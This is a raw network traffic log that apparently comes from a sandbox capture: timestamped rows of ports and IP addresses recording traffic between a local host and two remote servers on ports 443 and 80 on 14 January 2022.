Jan 14, 2022 20:30:06.135416985 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.135471106 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135498047 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135529995 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.135536909 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135565996 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.135585070 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.135890007 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135930061 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135962009 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.135972023 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135998011 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.136017084 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.136181116 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.136209965 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.136244059 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.136253119 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.136287928 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.136305094 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.136435986 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.136462927 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.136495113 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.136502981 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.136528015 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.136549950 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.137114048 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.137146950 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.137182951 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.137192011 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.137216091 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.137238026 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.137379885 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.137438059 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.137442112 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.137454987 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.137502909 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.137521982 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.137597084 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.137623072 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.137658119 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.137665987 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.137701988 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.137722969 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.158261061 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.158298969 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.158360004 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.158385038 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.158405066 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.158417940 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.158437014 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.158438921 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.158474922 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.158505917 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.168761015 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168786049 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168797970 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168827057 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168843985 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168855906 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168869019 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168879986 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.168889046 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168900967 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.168906927 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168906927 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.168926001 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168941021 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168947935 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.168961048 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.168962002 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168979883 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.168996096 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169007063 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169015884 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169033051 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169049978 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169059038 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169065952 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169073105 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169083118 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169099092 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169106960 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169116020 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169131994 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169138908 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169150114 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169166088 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169179916 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169181108 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169198036 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169202089 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169214964 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169230938 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169245958 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169254065 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169260979 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169277906 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169292927 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169296980 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169310093 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169317007 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169326067 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169337034 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169344902 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169359922 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169368982 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169375896 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169390917 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169398069 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169406891 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169423103 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.169440031 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.169472933 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.212960958 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.212982893 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213005066 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213114977 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213126898 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213157892 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213165045 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213179111 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213212013 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213221073 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213239908 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213285923 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213296890 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213311911 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213323116 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213383913 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213397980 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213421106 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213429928 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213438988 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213485003 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213496923 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213529110 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213538885 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213558912 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213579893 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213589907 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213632107 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213641882 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213669062 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213680983 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213726997 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213762999 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213799000 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213840961 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213867903 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213881969 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213897943 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213922977 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.213953972 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.213984013 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214013100 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214025974 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214036942 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214066982 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214068890 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214085102 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214108944 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214122057 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214137077 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214152098 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214170933 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214205980 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214236021 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214267015 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214279890 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214297056 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214322090 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214324951 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214343071 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214359045 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214374065 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214401007 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214411020 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214453936 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214483976 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214513063 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214526892 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214538097 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214567900 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214576006 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214591026 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214612007 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214628935 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214646101 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214670897 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214689970 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214704990 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214719057 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214740992 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214766026 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214780092 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214792967 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214828014 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214854002 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214884996 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214905977 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214919090 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214945078 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214951038 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.214963913 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214979887 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.214998007 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.215028048 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.215033054 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.215048075 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.215069056 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.215092897 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.215105057 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.215123892 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.215142012 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.237492085 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.237530947 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.237587929 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.237612009 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.237628937 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.237648010 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.237662077 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.237677097 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.237690926 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.237709999 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.237744093 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.237752914 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.237803936 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.237955093 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.237984896 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.238022089 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.238035917 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.238051891 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.238080978 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.238786936 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.238812923 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.238852978 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.238867998 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.238884926 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.238894939 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.238909006 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.238915920 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.238929033 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.238953114 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.238979101 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.238993883 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.239015102 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.239063025 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.239078999 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.239089966 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.239105940 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.239132881 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.239192009 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.239253998 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.239274979 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.239315987 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.239322901 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.239353895 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.239797115 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.239820957 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.239865065 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.239905119 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.269656897 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269690990 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269707918 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269731998 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269741058 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.269748926 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269767046 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269783974 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.269784927 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269803047 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269821882 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.269821882 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269840956 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269855976 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.269865990 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269884109 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269887924 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.269901037 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269917011 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269932985 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269939899 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.269951105 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269962072 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.269968033 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269985914 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.269994974 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270004034 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270020008 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270036936 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270041943 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270057917 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270067930 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270075083 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270092010 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270107985 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270116091 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270126104 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270133972 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270143032 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270159960 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270175934 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270181894 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270190954 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270207882 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270216942 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270226002 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270236015 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270241976 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270257950 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270272970 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270282984 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270288944 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270306110 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270313025 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270320892 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270332098 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270337105 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270353079 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270364046 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270368099 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270385027 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270394087 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270401955 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270417929 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270420074 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270433903 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270448923 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270462990 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270463943 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270481110 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.270482063 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.270512104 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.374722958 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.374757051 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.374778986 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.374799013 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.374820948 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.374825954 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.374840975 CET	80	49891	74.201.28.62	192.168.2.4
